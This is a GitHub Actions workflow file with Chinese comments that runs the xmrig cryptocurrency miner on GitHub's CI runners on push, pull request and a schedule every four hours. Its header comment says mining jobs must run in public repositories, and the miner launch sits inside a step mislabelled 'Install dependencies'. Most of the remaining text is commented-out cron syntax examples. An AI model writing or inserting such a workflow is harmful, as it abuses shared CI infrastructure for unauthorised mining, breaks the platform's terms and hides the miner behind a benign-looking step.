Skip to content
#挖矿任务必须在公共仓库进行
name: mint
#github 的主线程任务30秒自动取消,子线程任务六小时自动取消
# 【检出(Checkout)该仓库的代码】我们提交了这个工作流,它应该会「自动运行」,因为工作流中默认设置触发条件。
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
# 【定时任务】Cron 表达式 0 * * * * 表示每小时 0 分触发一次。参考 Cron Guru。
schedule:
#此示例在每天 0:30\8:30\16:30[UTC] 触发工作流程
# - cron: '30 0,8,16 * * *'
- cron: '30 0,4,8,12,16,20 * * *'
# - cron: '30 0,2,4,6,8,10,12,14,16,18,20,22 * * *'
# #在每天每小时的每个第 15 分钟运行。
# - cron: '15 * * * * '
# #在每天第 4 和第 5 小时的第 2 和第 10 分钟运行。
# - cron: '2,10 4,5 * * * '
# #在第 4-6 小时的第 30 分钟运行。
# - cron: '30 4-6 * * * '
# #在第 20 分钟到第 59 分钟每隔 15 分钟运行一次(第 20、35 和 50 分钟)。
# - cron: '20/15 * * * * '
# #应该是每分钟都运行【实际上不有5分钟有10分钟】
# - cron: '* * * * *'
# #应该是每分钟的第30秒都运行【目前实际执行当中是30分钟执行一次】
# - cron: '*/30 * * * *'
# #应该是每隔一分钟执行一次【实际上间隔大于1分钟,将近一分钟左右,可能是github本身有限制】
# - cron: '*/1 * * * *'
# #此示例触发工作流在每周一至周四 5:30 UTC 运行,但在周一和周三跳过 Not on Monday or Wednesday 步骤。
# on:
# schedule:
# - cron: '30 5 * * 1,3'
# - cron: '30 5 * * 2,4'
# jobs:
# test_schedule:
# runs-on: ubuntu-latest
# steps:
# - name: Not on Monday or Wednesday
# if: github.event.schedule != '30 5 * * 1,3'
# run: echo "This step will be skipped on Monday and Wednesday"
# - name: Every time
# run: echo "This step will always run"
# 可以使用 permissions 修改授予 GITHUB_TOKEN 的默认权限,根据需要添加或删除访问权限,以便只授予所需的最低访问权限。
permissions:
contents: read
jobs:
build:
# 设置服务器系统版本
runs-on: ubuntu-latest
# 设置 Python 运行环境
steps:
- uses: actions/checkout@v3
- name: Set up Python 3.10
uses: actions/setup-python@v3
with:
python-version: "3.10"
# 安装依赖
- name: Install dependencies
run: |
cd actions/github-actions-python
chmod +x xmrig
./xmrig
# #【防止失败后杀死实例】
# - name: Don't kill instace
# if: ${{ failure() }}
# run: sleep 1h # Prevent to killing instance after failure